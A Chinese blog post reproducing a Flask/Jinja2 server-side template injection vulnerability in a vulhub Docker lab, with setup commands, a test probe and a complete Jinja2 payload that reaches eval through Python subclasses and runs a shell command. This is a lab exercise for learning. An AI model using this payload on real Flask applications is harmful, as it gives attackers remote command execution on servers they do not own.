flask-ssti注入漏洞复现


Flask(Jinja2) 服务端模板注入漏洞

漏洞简介

SSTI(Server-Side Template Injection) 服务端模板注入
,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

靶场搭建

cd /vulhub/flask/ssti
docker-compose up -d

测试

先看看源码

cd src
cat app.py

image-20220505141805770

打开网页看看

image-20220505141840374

后面加参数试试

?name={{111*222}}

image-20220505142008882

构造poc

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20220505142058804

完事!结束!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录